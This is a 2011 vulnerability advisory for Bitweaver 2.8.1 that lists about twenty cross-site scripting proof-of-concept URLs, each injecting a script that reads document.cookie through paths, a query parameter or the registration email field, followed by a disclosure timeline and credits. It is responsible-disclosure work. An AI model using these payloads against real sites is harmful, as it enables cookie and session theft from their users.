Bitweaver 2.8.1 Cross Site Scripting

`Advisory: Bitweaver 2.8.1 Multiple Cross-site Scripting Vulnerabilities  
Advisory ID: SSCHADV2011-021  
Author: Stefan Schurtz  
Affected Software: Successfully tested on Bitweaver 2.8.1  
Vendor URL: http://www.bitweaver.org  
Vendor Status: informed  
CVE-ID: -  
  
==========================  
Vulnerability Description:  
==========================  
  
Bitweaver 2.8.1 is prone to multiple Cross-Site scripting vulernabilities  
  
==================  
Technical Details:  
==================  
  
http://<target>/bitweaver/users/register.php/"</script><script>alert(document.cookie)</script>  
http://<target>/bitweaver/blogs/rankings.php/"</script><script>alert(document.cookie)</script>  
http://<target>/bitweaver/articles/edit.php/"</script><script>alert(document.cookie)</script>  
http://<target>/bitweaver/articles/list.php/"</script><script>alert(document.cookie)</script>  
http://<target>/bitweaver/calendar/index.php/"</script><script>alert(document.cookie)</script>  
http://<target>/bitweaver/events/list_events.php/"</script><script>alert(document.cookie)</script>  
http://<target>/bitweaver/events/index.php/"</script><script>alert(document.cookie)</script>  
http://<target>/bitweaver/pigeonholes/list.php/"</script><script>alert(document.cookie)</script>  
http://<target>/bitweaver/fisheye/index.php/"</script><script>alert(document.cookie)</script>  
http://<target>/bitweaver/recommends/index.php/"</script><script>alert(document.cookie)</script>  
http://<target>/bitweaver/rss/index.php/"</script><script>alert(document.cookie)</script>  
http://<target>/bitweaver/fisheye/list_galleries.php/"</script><script>alert(document.cookie)</script>  
http://<target>/bitweaver/tags/"</script><script>alert(document.cookie)</script>  
http://<target>/bitweaver/stencils/index.php/"</script><script>alert(document.cookie)</script>  
http://<target>/bitweaver/stencils/list_stencils.php/"</script><script>alert(document.cookie)</script>  
http://<target>/bitweaver/wiki/orphan_pages.php/"</script><script>alert(document.cookie)</script>  
http://<target>/bitweaver/users/remind_password.php/"</script><script>alert(document.cookie)</script>  
http://<target>/bitweaver/blogs/list_blogs.php/"</script><script>alert(document.cookie)</script>  
http://<target>/bitweaver/liberty/list_content.php/"</script><script>alert(document.cookie)</script>  
  
http://<target>/bitweaver/quicktags/special_chars.php?textarea_id=');"/><script>alert(document.cookie);</script>  
  
http://<target>/bitweaver/users/register.php -> Email -> '"</script><script>alert(document.cookie)</script> -> Register  
  
=========  
Solution:  
=========  
  
-  
  
====================  
Disclosure Timeline:  
====================  
  
29-Sep-2011 - informed developers  
29-Sep-2011 - release date of this security advisory  
  
========  
Credits:  
========  
  
Vulnerabilities found and advisory written by Stefan Schurtz.  
  
===========  
References:  
===========  
  
http://www.bitweaver.org  
http://www.rul3z.de/advisories/SSCHADV2011-021.txt  
`